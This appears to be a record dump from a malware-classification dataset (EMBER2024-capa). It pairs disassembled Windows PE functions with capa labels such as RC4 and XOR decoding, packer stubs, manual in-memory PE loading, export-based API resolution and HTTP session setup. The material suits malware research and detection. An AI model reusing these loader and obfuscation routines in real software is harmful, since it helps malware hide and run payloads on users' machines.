joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4051cb
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x5e7654]
mov ecx, dword [0x5e70e4]
sub esp, 0xc04
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x40529f
mov edi, ecx
mov ebx, eax
cmp dword [0x5e7654], 0x959
jne 0x40528f
push esi
lea eax, [ebp - 0x800]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x404d3c
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsFree]
push esi
lea eax, [ebp - 0xc00]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
call fcn.00404fa7
add edi, 8
dec ebx
jne 0x4051f3
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b05c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x441e78]
jne 0x40b066
repz ret
jmp fcn.0040dcfc

Function at 0x40c0be
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x441e78]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004076d8
and dword [ebp - 0x14], 0
cmp dword [0x4593e4], 0
mov dword [ebp - 0x18], eax
jne 0x40c171
push 0x402cac
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40c219
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402ca0
push ebx
call edi
test eax, eax
je 0x40c219
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402c90
push ebx
mov dword [0x4593e4], eax
call edi
push eax
call esi
push 0x402c7c
push ebx
mov dword [0x4593e8], eax
call edi
push eax
call esi
push 0x402c60
push ebx
mov dword [0x4593ec], eax
call edi
push eax
call esi
mov dword [0x4593f4], eax
test eax, eax
je 0x40c171
push 0x402c48
push ebx
call edi
push eax
call esi
mov dword [0x4593f0], eax
mov eax, dword [0x4593f0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40c1ca
cmp dword [0x4593f4], ecx
je 0x40c1ca
push eax
call esi
push dword [0x4593f4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40c1ca
test ebx, ebx
je 0x40c1ca
call edi
test eax, eax
je 0x40c1c1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40c1c1
test byte [ebp - 8], 1
jne 0x40c1ca
or dword [ebp + 0x10], 0x200000
jmp 0x40c1fd
mov eax, dword [0x4593e8]
cmp eax, dword [ebp - 0x18]
je 0x40c1fd
push eax
call esi
test eax, eax
je 0x40c1fd
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40c1fd
mov eax, dword [0x4593ec]
cmp eax, dword [ebp - 0x18]
je 0x40c1fd
push eax
call esi
test eax, eax
je 0x40c1fd
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4593e4]
call esi
test eax, eax
je 0x40c219
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40c21b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b05c
leave
ret
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x1a6d008], 0x8088405
inc edx
mov dword [ebx + 0x1a6d008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41d254
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41d285
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d26d
add dl, dl
jne 0x41d290
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d2e1
xor eax, eax
add dl, dl
jne 0x41d29d
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d37e
add dl, dl
jne 0x41d2ac
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d2b7
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d2c2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d2cd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41d2d7
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41d27c
mov eax, 1
add dl, dl
jne 0x41d2ef
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d2fa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d2e6
sub eax, ebx
mov ebx, 1
jne 0x41d32d
mov ecx, 1
add dl, dl
jne 0x41d313
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d31e
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d30a
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41d27c
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41d344
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d34f
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d33b
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41d27c
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d39f
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41d27c
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41f3b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x1a5089e
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f3ff
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f41e
mov ecx, edx
add ecx, ebx
jmp 0x41f41e
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f41e
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f490
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f479
test esi, esi
jbe 0x41f490
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088f4
test eax, eax
jne 0x41f46b
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f490
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f448
jmp 0x41f490
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f490
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1a508a5
ret
Function at 0x4205fc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x1a51c17
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x420637
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x420650
lea eax, [ebp - 0x10]
mov edx, dword [0x1a6f5f0]
mov edx, dword [edx]
mov edx, dword [edx + 0x14]
call fcn.00404d30
jmp 0x420663
lea eax, [ebp - 0x10]
mov edx, dword [0x1a6f5f0]
mov edx, dword [edx]
mov edx, dword [edx + 0x18]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x42066f
adc edx, 0
mov edx, dword [edx*4 + 0x1a6e3fc]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x4207e9
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4207dc
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x4207dc
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406dec
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4207dc
mov eax, edi
cmp dword [eax], 0x4550
jne 0x4207dc
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x42077a
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x42077a
mov eax, edi
call fcn.00403288
mov eax, 0xf0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x42077a
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x42077a
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
cmp byte [ebp - 1], 0
jne 0x4207dc
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x4207dc
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x4207dc
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4207dc
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x4207dc
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x420801
inc ebx
cmp ebx, 0x19
jne 0x420629
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1a51c1e
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x4011b0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413890
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
push edi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], esp
push 0x416670
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0x61
call fcn.00402833
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call esi
mov eax, dword [ebp + 0x10]
mov ecx, 0x1ea
and eax, 0xff
push 0
cdq
idiv ecx
mov ebx, edx
add bl, 0x12
call esi
mov esi, dword [ebp + 0xc]
test esi, esi
jbe 0x401226
mov eax, dword [ebp + 8]
mov dl, byte [eax]
xor dl, bl
add dl, bl
mov byte [eax], dl
inc eax
dec esi
jne 0x40121a
mov eax, 0x40122c
ret

Function at 0x401240
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4138a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x118
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x10], esp
push 0x416670
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0x61
call fcn.00402833
mov ecx, dword [str.C:Program_Files_]
mov edx, dword [0x419554]
mov eax, dword [0x419558]
mov dword [ebp - 0x124], ecx
mov ecx, dword [0x41955c]
mov dword [ebp - 0x120], edx
mov dx, word [0x419560]
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [ebp - 0x112]
mov word [ebp - 0x114], dx
lea edx, [ebp - 0x124]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x10], esp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x124]
push 0
push eax
call fcn.0040286d
add esp, 8
test eax, eax
jne 0x4013ed
push eax
push 0x80
push 3
push eax
push eax
lea ecx, [ebp - 0x124]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x4013ed
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push 4
push 0x3000
push edi
push 0
mov dword [ebp + 8], edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea edx, [ebp - 0x20]
push 0
push edx
push edi
push eax
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x1c]
push 0x416670
push eax
mov byte [ebp - 4], 2
mov dword [ebp - 0x1c], 0x28
call fcn.00402833
mov ecx, dword [ebp + 8]
mov esi, dword [ebp - 0x14]
push 0x7e9
push ecx
push esi
call fcn.004011b0
push esi
call fcn.00401630
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x4013bb
mov eax, 0x4013b5
ret
push 0x41954c
push esi
call fcn.00401aa0
add esp, 8
test eax, eax
je 0x4013d7
push 0x4190c0
call eax
add esp, 4
push esi
call fcn.00401b50
add esp, 4
mov eax, 0x4013e6
ret
lea edx, [ebp - 0x124]
push edx
push 0x4194c0
call section..text
add esp, 8
jmp 0x4012ff
Function at 0x401420
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor esi, esi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x414]
lea edi, [esp + 0x10]
mov eax, ebx
xor edx, edx
div dword [esp + 0x41c]
mov ebp, dword [esp + 0x418]
xor eax, eax
mov byte [ebx + ecx], bl
inc ebx
add edi, 4
cmp ebx, 0x100
mov al, byte [edx + ebp]
mov dword [edi - 4], eax
jl 0x40144a
xor eax, eax
lea edi, [esp + 0x10]
mov dl, byte [eax + ecx]
mov ebp, dword [edi]
mov ebx, edx
and ebx, 0xff
add ebx, ebp
add esi, ebx
and esi, 0x800000ff
jns 0x40149a
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + ecx]
add edi, 4
mov byte [eax + ecx], bl
inc eax
cmp eax, 0x100
mov byte [esi + ecx], dl
jl 0x401479
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret

Function at 0x4014c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
push esi
push edi
xor ecx, ecx
xor esi, esi
xor edi, edi
test eax, eax
jbe 0x40154c
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
inc ecx
and ecx, 0x800000ff
jns 0x4014eb
dec ecx
or ecx, 0xffffff00
inc ecx
mov dl, byte [ecx + eax]
mov ebx, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x401508
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + eax]
mov byte [esp + 0x18], dl
mov byte [ecx + eax], bl
mov ebx, dword [esp + 0x18]
mov byte [esi + eax], dl
xor edx, edx
mov dl, byte [ecx + eax]
and ebx, 0xff
add edx, ebx
and edx, 0x800000ff
jns 0x401536
dec edx
or edx, 0xffffff00
inc edx
mov dl, byte [edx + eax]
mov bl, byte [edi + ebp]
xor bl, dl
mov edx, dword [esp + 0x1c]
mov byte [edi + ebp], bl
inc edi
cmp edi, edx
jb 0x4014da
pop ebp
pop ebx
pop edi
pop esi
ret
Function at 0x401630
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x401648
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x401661
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x401698
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x401698
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov edi, eax
push ebx
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.00401780
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x401721
push eax
push ebx
call fcn.00401910
add esp, 8
push ebx
call fcn.00401990
add esp, 4
test eax, eax
je 0x401751
push ebx
call fcn.00401850
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x401769
add eax, ebp
test eax, eax
je 0x401751
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x401762
push ebx
call fcn.00401b50
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x401780
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x401841
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x4017eb
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x40181f
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x40181f
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x4017ae
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x401850
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x401904
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x4018a7
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4018ea
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x4190a0]
je 0x4018be
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x4018d7
test al, 0x40
je 0x4018ce
mov ecx, dword [ebx + 0x20]
jmp 0x4018d5
test al, 0x80
je 0x4018ea
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x4018ea
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x401874
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x40286d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40288d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00403755
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4028b0
test byte [esp + 8], 2
je 0x4028b0
call fcn.004037c8
mov dword [eax], 0xd
call fcn.004037d1
mov dword [eax], 5
jmp 0x402889
xor eax, eax
ret
Function at 0x4117df
Capabilities:
Create http request

Disassembly:
mov eax, 0x4138d8
call fcn.00402e78
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x411817
call fcn.00412b1e
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x41183c
push eax
push dword [esi + 4]
call fcn.0041250c
jmp 0x411848
push esi
push eax
mov ecx, 0x41cb88
call fcn.00411859
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x411b0a
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
mov eax, 0x413937
call fcn.00402e78
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0040cfc4
mov eax, dword [ebp + 0x18]
lea ebx, [esi + 0x24]
mov dword [esi + 0x1c], eax
mov eax, dword [0x4197b8]
xor edi, edi
mov dword [ebx], eax
mov dword [ebp - 4], edi
push dword [ebp + 0x10]
lea ecx, [esi + 0xc]
mov byte [ebp - 4], 1
mov dword [esi], vtable.CInternetFile.0
call fcn.0040cdf0
push dword [ebp + 0x14]
mov ecx, ebx
call fcn.0040cdf0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x18
Function at 0x101b22c0
Capabilities:
Encode data using xor

Disassembly:
mov dh, 0xd3
sti
inc esp
test eax, 0x144b12ec
mov ecx, 0x799aacee
push esi
sbb byte [ebx - 0x1ca6151e], bh
mov ebx, 0xe359eae2
mov byte [edx], ch
mov cl, 0x23
xchg esi, eax
push es
dec esi
sub dh, byte [edi - 0x25d6c484]
push ebp
das
movsd dword es:[edi], dword gs:[esi]
pop esi
inc edi
push 0xb
mov dword [edi + 0x6d], ebp
sub al, 0x5e
xor al, 0x8f
arpl dx, sp
and eax, 0x9917c61d
sbb al, 0x27
popal
inc esi
jo fcn.101b22a2
dec eax
loopne 0x101b22aa
salc
mov dl, 0x3c
mov dh, 0xdd
wait
add esp, dword [0x9e565784]
invalid
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x22e974e9
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x67513151
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219